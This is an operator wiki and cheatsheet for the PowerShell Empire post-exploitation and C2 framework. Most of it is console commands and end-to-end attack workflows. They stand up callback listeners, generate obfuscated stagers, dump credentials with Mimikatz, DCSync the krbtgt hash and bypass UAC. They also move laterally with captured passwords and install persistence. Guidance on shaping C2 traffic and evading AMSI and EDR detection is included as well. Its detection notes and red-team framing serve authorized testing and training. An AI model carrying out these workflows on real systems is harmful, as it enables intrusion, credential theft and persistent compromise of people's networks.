PowerShell Empire Wiki

Author: BC Security (active fork) — original by Will Schroeder (@harmj0y), Justin Warner (@sixdub), Matt Nelson (@enigma0x3) Repo: https://github.com/BC-SECURITY/Empire Description: Post-exploitation and adversary emulation framework, multi-language agents License: BSD-3-Clause Docs: https://bc-security.gitbook.io/empire-wiki

Overview

PowerShell Empire is a post-exploitation and adversary emulation framework built around the idea that PowerShell is already present on essentially every modern Windows endpoint, so an operator doesn't need to drop a compiled binary to get a working post-exploitation foothold. Empire pioneered a large share of the offensive PowerShell tradecraft that later became standard across the industry — running PowerShell logic without spawning powershell.exe, in-memory module execution, and AMSI-evasion research.

The framework has since expanded well beyond pure PowerShell. Current agents exist in PowerShell, Python 3, C#, and IronPython, and it wraps large parts of PowerView, PowerUp, PowerSploit, and Mimikatz into a single named-module library.

Key capabilities:

• Multi-language agents: PowerShell, Python 3 (Linux/macOS), C#, IronPython
• Over 400 post-exploitation modules spanning situational awareness, credentials, privesc, lateral movement, and persistence
• Malleable HTTP C2 profiles for shaping traffic to evade signature-based detection
• Built-in Roslyn compiler for on-the-fly C# payload compilation (inherited from the Covenant project)
• In-memory .NET assembly execution via execute-assembly
• Integrated obfuscation: Invoke-Obfuscation for PowerShell, ConfuserEx 2 for C#/.NET
• MITRE ATT&CK technique mapping built into module metadata
• Multiplayer server/client architecture, plus a bundled web GUI (Starkiller)
• Extensible plugin interface for adding server-side functionality

Note: Empire's original 2015–2019 project (EmpireProject/Empire) was deprecated in July 2019. Everything in this wiki refers to the actively maintained BC Security fork, currently on the 5.x line. See the next section — this distinction matters a lot when reading older tutorials.

Version History and Why It Matters

Empire has gone through enough of a fork/rename history that a large fraction of tutorials and blog posts online describe an interface that no longer matches what you'll see if you clone the current repo. Worth knowing before you go hunting for guides:

The core menu vocabulary — uselistener, usestager, usemodule, interact, agents — has stayed remarkably stable across all of this, which is why older tutorials are still broadly useful for learning the mental model even though specific install steps and some module paths have moved.

Tip: If a guide tells you to run ./setup/install.sh directly or references a standalone Starkiller install step, it's describing an older version. Current installs go through ./ps-empire install -y.

Architecture

Empire separates cleanly into a server, two ways to connect as an operator, and multi-language agents running on compromised hosts.

• Empire server — a Python 3 process exposing a REST API, backed by a MariaDB database that persists listeners, agents, credentials, and tasking. This is the single source of truth; both the CLI client and Starkiller talk to it over the same API rather than holding separate state.
• Empire CLI client — the traditional console interface (./ps-empire client), menu-driven with tab completion, functionally similar to the original 2.x/3.x interface.
• Starkiller — a VueJS web application bundled as a submodule since Empire 5.0. Runs automatically alongside the server and is reachable in a browser, giving a GUI alternative to the CLI without any separate install step.
• Listener jobs — HTTP/HTTPS handlers (optionally malleable-profile-shaped) or cloud-service-backed listeners (OneDrive, Dropbox, MS Graph) that accept agent check-ins.
• Agents — the payload running on a compromised host, in one of four languages. See Agents.

Multiple operators can connect to one server simultaneously — both CLI and Starkiller clients can be active against the same server at once, which is genuinely useful for team engagements where some operators prefer the console and others prefer the GUI.

Installation & Server Setup

# Clone with submodules (Starkiller is a submodule — --recursive is required)
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire

# Pin to the latest tagged release
./setup/checkout-latest-tag.sh

# Install — pulls dependencies via Poetry, sets up the database
./ps-empire install -y

# Start the server (also brings up Starkiller automatically)
./ps-empire server

# Server help
./ps-empire server -h

# Reset the database (useful after a broken state)
./ps-empire server --reset

Empire uses Poetry to manage its Python virtual environment and requires a MariaDB (or compatible) database engine running locally. On Debian-family distros the install.sh script handles this automatically; other distros (Arch, for example) need the database and Poetry environment set up manually before running install.

Tip: Kali's packaged version of Empire tends to trail a few releases behind the actual BC Security repo, and requires running with sudo. For anything beyond casual lab use, cloning directly from GitHub and pinning with checkout-latest-tag.sh gets you the current release faster.

Once the server is running, Starkiller is reachable in a browser:

http://localhost:1337/index.html

Default credentials for a fresh install are typically empireadmin:password123 — change these immediately, this is not a safe default to leave in place even in a lab.

Empire CLI vs Starkiller

Both interfaces are full-featured and talk to the same server API, so the choice is largely about workflow preference rather than capability.

# Start the CLI client (server must already be running)
./ps-empire client

# Client help
./ps-empire client -h

Resource files let you script a sequence of Empire CLI commands to run automatically, which is handy for repeatable setup:

# commands.txt
listeners
uselistener http
set Port 999
execute

# Run it
resource /path/to/commands.txt

Listeners

Listeners are server-side jobs that wait for stager/agent check-ins. Empire supports several listener types beyond plain HTTP.

# Jump to the listeners menu
listeners

# See what listener types are available
uselistener <TAB>

# List active listeners
list

HTTP/HTTPS Listener

uselistener http
set Name l0
set Host http://10.10.15.49
set Port 80
set BindIP 10.10.15.49
execute

Tip: HTTPS is strongly preferred outside of lab work — plain HTTP puts your C2 traffic in cleartext on the wire, same caveat as every other framework's HTTP listener.

Malleable C2

Empire borrowed the malleable C2 concept from Cobalt Strike, letting you reshape HTTP traffic — URIs, headers, User-Agent strings, response formatting — to look like something other than default Empire traffic. This matters because out-of-the-box Empire's default URI structure, User-Agent, and jitter pattern are well fingerprinted by mature SOC tooling and Suricata rulesets.

uselistener http_malleable
set Profile <path-to-profile>
execute

BC Security maintains a collection of tested profiles compatible with both Cobalt Strike and Empire at their Malleable-C2-Profiles repo. Profile customization typically covers:

• User-Agent string (match what the target environment actually generates)
• URI paths and query parameter names
• Header names and values on requests/responses
• How response data is formatted/hidden within the page body

Warning: As with any C2 profile system, changes to a malleable profile after implants are deployed can break compatibility with those already-running agents. Settle on your profile before generating stagers against it.

Cloud Listeners

Empire can tunnel C2 through legitimate cloud services rather than a raw HTTP endpoint you control directly:

uselistener onedrive
# Requires an API token/app registration for the target cloud service

Available cloud-backed listeners include OneDrive, Dropbox, and Microsoft Graph variants — useful in environments with tight egress filtering to arbitrary IPs but permissive access to well-known cloud services. The tradeoff is dependency on a third party's API and token management overhead.

Stagers and Launchers

A stager is the delivery mechanism: a small piece of code whose job is to get the actual agent running on the target and talking back to a listener.

# From main, listeners, or agents menu
usestager <TAB>

# Generate a launcher tied to a specific listener directly from the listeners menu
launcher <listener-name>

usestager multi/launcher
set Listener http_listener
set OutFile /tmp/launcher.ps1
set Obfuscate True
execute

Stager modules live under ./lib/stagers/ and come in a wide variety of delivery formats:

usestager windows/launcher_bat     # self-deleting .bat, injects shellcode into a running process
usestager windows/hta              # HTA server, evades some AV via mshta.exe execution
usestager windows/macro            # Office macro
usestager windows/ducky            # Rubber Ducky script for physical USB delivery
usestager osx/applescript          # macOS, AppleScript-based

Agents

Once a stager successfully executes on a target and calls back, you get an agent. This is the equivalent of Sliver's "implant" or Rubeus's ticket — the thing you actually interact with going forward.

(See the architecture diagram shared alongside this wiki for how the three agent language tiers relate to the server.)

# List all active agents
agents

# Interact with a specific agent
interact <agent-name>

# Rename an agent for easier tracking
rename <agent-name> <new-name>

# Kill an agent
kill <agent-name>
kill all

# Return to the main menu without killing the agent
back

High-integrity agents (running elevated) are marked with an asterisk (*) next to the username in the agent list — this is the visual cue for "this one is already elevated, don't waste a bypassuac module on it."

PowerShell Agents

The original and still most common agent type. Runs PowerShell logic without invoking powershell.exe directly, which sidesteps some process-based detections but does nothing to avoid AMSI's script-block scanning — everything still passes through the same scanning surface.

usestager multi/launcher
set Language powershell
set Listener http_listener
execute

C# Agents

C# agents rely on Empire's built-in Roslyn compiler (inherited conceptually from the Covenant project) to compile C# payloads on the fly. Critically, C# modules require the csharpserver plugin to be running before they'll execute — this is one of the most common points of confusion for people new to Empire 4.x/5.x.

# Start the C# compiler plugin FIRST
useplugin csharpserver
set status start
execute

If you skip this step, attempting to run a csharp/* module fails with:

[!] Error: csharpserver plugin not running

(See the module execution flow diagram shared alongside this wiki — this is exactly the branch point it's illustrating.)

Python / IronPython Agents

Python 3 agents extend Empire's reach to Linux and macOS targets. IronPython agents run under the .NET runtime on Windows, which means they can execute Python-style logic on a Windows target without requiring an actual Python interpreter to be installed there — useful when you want Python's module ecosystem but the target only has .NET available.

usestager multi/bash          # Linux/macOS, Python 3 agent
usestager windows/launcher_ironpython  # Windows, via .NET

Sessions vs Beacon-Style Sleep

Empire agents don't use the strict session/beacon split you'll see in Sliver — every Empire agent operates on a sleep-and-check-in cycle by default, configurable per-agent.

# From within an agent context
sleep <seconds> [jitter]

# Example: check in every 60 seconds with 20% jitter
sleep 60 0.2

Setting sleep 0 gets you close to a fully interactive experience (agent checks in essentially continuously), while a longer interval trades responsiveness for a quieter network footprint — conceptually the same tradeoff Sliver's session-vs-beacon choice represents, just exposed as a tunable on a single agent type rather than two separate implant modes.

Module Execution

This is worth understanding precisely because it differs by agent language, and the C# path in particular has a specific failure mode if you skip a step.

(See the module execution flow diagram shared alongside this wiki.)

# From within an agent context
usemodule <TAB>

# Search by keyword across all module names/descriptions
searchmodule privesc

# See current module options
info
options

# Set a required option
set Agent <agent-name>

# Run it
execute

Modules are namespaced by language and category, e.g.:

usemodule powershell/situational_awareness/network/sharefinder
usemodule powershell/privesc/bypassuac_eventvwr
usemodule csharp/Sharpsploit.Credentials/Mimikatz
usemodule python/collection/keylogger

PowerShell and Python modules task directly to the agent once execute is run — no additional setup required.

C# modules require csharpserver to already be running (see C# Agents above). If it's not, the module fails before it ever reaches the agent, with the specific csharpserver plugin not running error shown above. Once started, the module source gets compiled via Roslyn and the resulting assembly is tasked to the agent.

# Full example: run Mimikatz via the C# module
useplugin csharpserver
set status start
execute
back

usemodule csharp/Sharpsploit.Credentials/Mimikatz
set Agent <agent-name>
set Command sekurlsa::logonPasswords
set DotNetVersion Net35
execute

Core Post-Exploitation Modules

Empire sorts modules by category as well as language. A representative sample of what's commonly used:

# Situational awareness
usemodule powershell/situational_awareness/network/sharefinder
usemodule powershell/situational_awareness/host/winenum
usemodule powershell/collection/keylogger

# Recon convenience commands available directly in the agent context
sysinfo
shell whoami
shell ipconfig /all

shell <command> runs a raw shell command through the agent without needing a dedicated module — useful for quick recon that doesn't need Empire's parsing/formatting layer.

Credential Access & Mimikatz

Empire has Mimikatz ported into several credential-gathering modules across both PowerShell and C# implementations, and automatically parses standard Mimikatz output into its internal credential store.

# Quick dump of cached credentials (built-in command, no module needed)
mimikatz

# View the credential store
creds

# Filter the credential store by search term
creds <search-term>

# DCSync a specific user's hash (requires Domain Admin-equivalent rights)
usemodule powershell/credentials/mimikatz/dcsync
set Agent <agent-name>
set User target_username
execute

# Pass-the-hash: spawn a new process under the target hash's identity
usemodule powershell/credentials/mimikatz/pth
set Agent <agent-name>
set CredID <id-from-creds-store>
execute

Note: The pth module spawns a visible interactive process (typically cmd.exe) by default if run while the target user is logged on. This is worth knowing before running it against a session you don't want to visibly disrupt.

Once a new process exists under the target identity, steal_token <pid> lets you assume that process's token in your current agent context.

Privilege Escalation

# Check whether the current medium-integrity context can be elevated
usemodule powershell/privesc/powerup/allchecks
set Agent <agent-name>
execute

# UAC bypass — spawns a new high-integrity agent on success
usemodule powershell/privesc/bypassuac_eventvwr
set Agent <agent-name>
set Listener http_listener
execute

# Exploit-based privesc against a known kernel vulnerability
usemodule powershell/privesc/ms16-032
set Agent <agent-name>
set Listener http_listener
execute

A successful bypassuac or exploit-based privesc module produces a new agent running in a high-integrity process — you don't elevate the existing agent in place, you get a fresh one. Rename it for tracking and interact with it going forward; the asterisk in the agent list confirms high integrity.

Lateral Movement

Empire's lateral movement module set is intentionally smaller than its situational-awareness or privesc sets, since there are only a handful of underlying mechanisms (WMI, WinRM, PsExec-style service creation, token-based) that most techniques boil down to.

usemodule powershell/lateral_movement/invoke_wmi
set Agent <agent-name>
set UserName domain\administrator
set Password 'password-here'
set ComputerName target-hostname
run

Common lateral movement modules follow the same general pattern — set target credentials, a listener for the new agent to call back to, and a target hostname or IP:

usemodule powershell/lateral_movement/invoke_psremoting
usemodule powershell/lateral_movement/invoke_dcom
usemodule powershell/lateral_movement/invoke_executemsbuild

Persistence

# Scheduled task-based persistence
usemodule powershell/persistence/elevated/schtasks
set Agent <agent-name>
set Listener http_listener
execute

# Registry-based persistence
usemodule powershell/persistence/userland/registry
set Agent <agent-name>
set Listener http_listener
execute

Reminder: Track every persistence mechanism you install during an authorized engagement so it can be fully removed during cleanup. Empire's report command (see below) helps reconstruct what was deployed.

Plugins

Plugins extend the Empire server itself, distinct from modules which run on agents. The csharpserver plugin covered earlier is the most operationally important one to know, but others exist for extending server-side functionality — e.g. a SOCKS proxy plugin for pivoting through an agent.

# List available and currently active plugins
plugins

# Load a plugin
plugin <plugin-file>

# Use a loaded plugin (same set/execute pattern as modules)
useplugin <plugin-name>
set <option> <value>
execute

After Empire 3.4.0+, plugins present in the plugins directory are automatically loaded into the server at startup — you may just need useplugin to activate one that's already loaded, rather than plugin to load it fresh.

Obfuscation & Evasion

# Obfuscate a generated PowerShell stager
usestager multi/launcher
set Obfuscate True
set ObfuscateCommand Token\All\1,Launcher\STDIN++\12467
execute

# Pre-obfuscate module source files ahead of time (reduces per-task compile overhead)
preobfuscate

Empire integrates two obfuscation engines depending on agent language:

• Invoke-Obfuscation for PowerShell — token manipulation, variable randomization, string obfuscation
• ConfuserEx 2 for C#/.NET payloads

Reality check on AMSI in 2026: The classic approach — patching AmsiScanBuffer in memory to short-circuit the scan — stopped being reliably effective around 2023. Current-generation Defender builds ship behavioral signatures that detect the in-memory patch itself, and patchless variants (DLL hijacking, ETW-based approaches, sleep-then-patch) now have their own specific signatures too. Treat AMSI bypass as something you research against the specific Defender build your target is running, not a technique you copy from an older writeup and expect to work unmodified. Empire's built-in obfuscation mostly blunts static signature matching; it does not meaningfully help against AMSI's behavioral analysis layer.

Renaming modules, function names, and embedded string markers before loading them helps against simple GitHub-string-search-style detection — anything that greps a loader for literal Invoke-Empire will flag a default install immediately.

Detection Notes (Blue Team Awareness)

Worth internalizing even purely offensively, since it shapes what Empire is and isn't the right tool for on a given engagement:

• PowerShell is the most heavily monitored scripting surface on modern Windows. AMSI scans every script block and downloaded buffer before execution, and this happens regardless of how the PowerShell logic got there.
• Empire strings are heavily fingerprinted. Names like Invoke-Mimikatz, Get-Keystrokes, ReflectivePEInjection, and any Empire-prefixed function names are known signature triggers across mainstream AV/EDR.
• Default traffic is fingerprinted. Out-of-the-box URI structure, default User-Agent, and default jitter pattern are recognized by mature SOC tooling and long-standing Suricata rulesets — this is exactly why malleable C2 profiles exist.
• Real-world usage exists. Empire has been observed used by ransomware-affiliated groups (Vice Society, among others) for lateral movement, primarily in healthcare and education sector intrusions, which is part of why attribution to Empire specifically tends to get flagged fast in incident response.

Given this, mature 2026-era guidance treats Empire's stock configuration as a lab/training baseline rather than a production-ready evasion toolkit against a mature enterprise EDR estate. It remains genuinely useful for: CTF and training environments where the AMSI-bypass research is the point rather than an obstacle, PowerShell-heavy AD engagements where the wrapped PowerView/Mimikatz/PowerSploit modules save real setup time, and assessments against less mature environments where modern EDR isn't the primary threat model. For long-haul engagements against hardened targets, operators increasingly reach for Sliver, Mythic, or Havoc instead — the listener/stager/agent vocabulary Empire codified is still the one every modern framework implements under different names, so understanding Empire remains a fast on-ramp to any of them.

Common Attack Workflows

Workflow: Initial Foothold → Elevated Agent → Credentials

# 1. Stand up an HTTPS listener
uselistener http
set Name main
set Host https://10.10.15.49
set Port 443
execute

# 2. Generate an obfuscated stager
usestager multi/launcher
set Listener main
set Obfuscate True
set OutFile /tmp/stage.ps1
execute

# 3. Deliver + execute on target (delivery method is engagement-specific)
# Once it checks in:
agents
interact <agent-name>
rename <agent-name> foothold

# 4. Check for elevation path
usemodule powershell/privesc/powerup/allchecks
set Agent foothold
execute

# 5. Elevate
usemodule powershell/privesc/bypassuac_eventvwr
set Agent foothold
set Listener main
execute

# 6. Interact with the new high-integrity agent, dump creds
agents
interact <new-elevated-agent-name>
mimikatz
creds

Workflow: C# Module Execution (the correct order)

# 1. Start the C# compiler plugin BEFORE attempting any csharp/* module
useplugin csharpserver
set status start
execute
back

# 2. Now the module will actually run
usemodule csharp/Sharpsploit.Credentials/Mimikatz
set Agent <agent-name>
set Command sekurlsa::logonPasswords
execute

Workflow: DCSync After Domain Admin

# 1. Confirm current agent has DA-equivalent rights (info / whoami via shell)
shell whoami /groups

# 2. DCSync a target user's hash
usemodule powershell/credentials/mimikatz/dcsync
set Agent <agent-name>
set User krbtgt
execute

# 3. Pull it into the credential store for reuse
creds krbtgt

Workflow: Lateral Movement via WMI

# 1. Confirm local admin creds against the target (out of band or via a prior dump)

# 2. Lateral move
usemodule powershell/lateral_movement/invoke_wmi
set Agent <agent-name>
set UserName CORP\administrator
set Password 'CapturedPass123!'
set ComputerName TARGET-DC01
set Listener main
run

# 3. New agent should check in from the target host
agents

Cheatsheet

Quick-reference for the most common operator tasks. Replace hosts, ports, and names as needed.

Server & Client

git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
./ps-empire install -y

./ps-empire server              # start server + Starkiller
./ps-empire client              # start CLI client

# Starkiller GUI
http://localhost:1337/index.html

Listeners

listeners
uselistener http
set Name l0
set Host http://10.10.15.49
set Port 80
execute

list                             # show active listeners
kill <listener-name>             # stop one

Stagers

usestager <TAB>                  # tab-complete available stagers
usestager multi/launcher
set Listener l0
set Obfuscate True
set OutFile /tmp/stage.ps1
execute

launcher <listener-name>         # quick one-liner alias from listeners menu

Agents

agents
interact <agent-name>
rename <agent-name> <new-name>
kill <agent-name>
kill all
back

sleep <seconds> [jitter]         # adjust check-in interval
info                             # agent details (integrity, IP, etc)
shell <command>                  # raw shell command

Modules

usemodule <TAB>
searchmodule <keyword>
info / options
set Agent <agent-name>
set <OptionName> <value>
execute

C# Modules (order matters)

useplugin csharpserver
set status start
execute
back
usemodule csharp/<ModulePath>
set Agent <agent-name>
execute

Credentials

mimikatz                                          # quick dump
creds                                              # view store
creds <search-term>                                # filter store

usemodule powershell/credentials/mimikatz/dcsync
usemodule powershell/credentials/mimikatz/pth
steal_token <pid>

Privilege Escalation

usemodule powershell/privesc/powerup/allchecks
usemodule powershell/privesc/bypassuac_eventvwr
usemodule powershell/privesc/ms16-032

Lateral Movement

usemodule powershell/lateral_movement/invoke_wmi
usemodule powershell/lateral_movement/invoke_psremoting
usemodule powershell/lateral_movement/invoke_dcom

Persistence

usemodule powershell/persistence/elevated/schtasks
usemodule powershell/persistence/userland/registry

Obfuscation

set Obfuscate True
set ObfuscateCommand Token\All\1,Launcher\STDIN++\12467
preobfuscate

Reporting & Cleanup

report                           # produce sessions.csv, credentials.csv, master.log
resource <file>                  # run a list of commands from a file
autorun <file> <agent-language>  # auto-run commands against every new matching agent

References

• GitHub: https://github.com/BC-SECURITY/Empire
• Docs: https://bc-security.gitbook.io/empire-wiki
• Malleable C2 profiles: https://github.com/BC-SECURITY/Malleable-C2-Profiles
• Starkiller: https://github.com/BC-SECURITY/Starkiller
• Empire Module Library (community-maintained reference): https://www.infosecmatter.com/empire-module-library/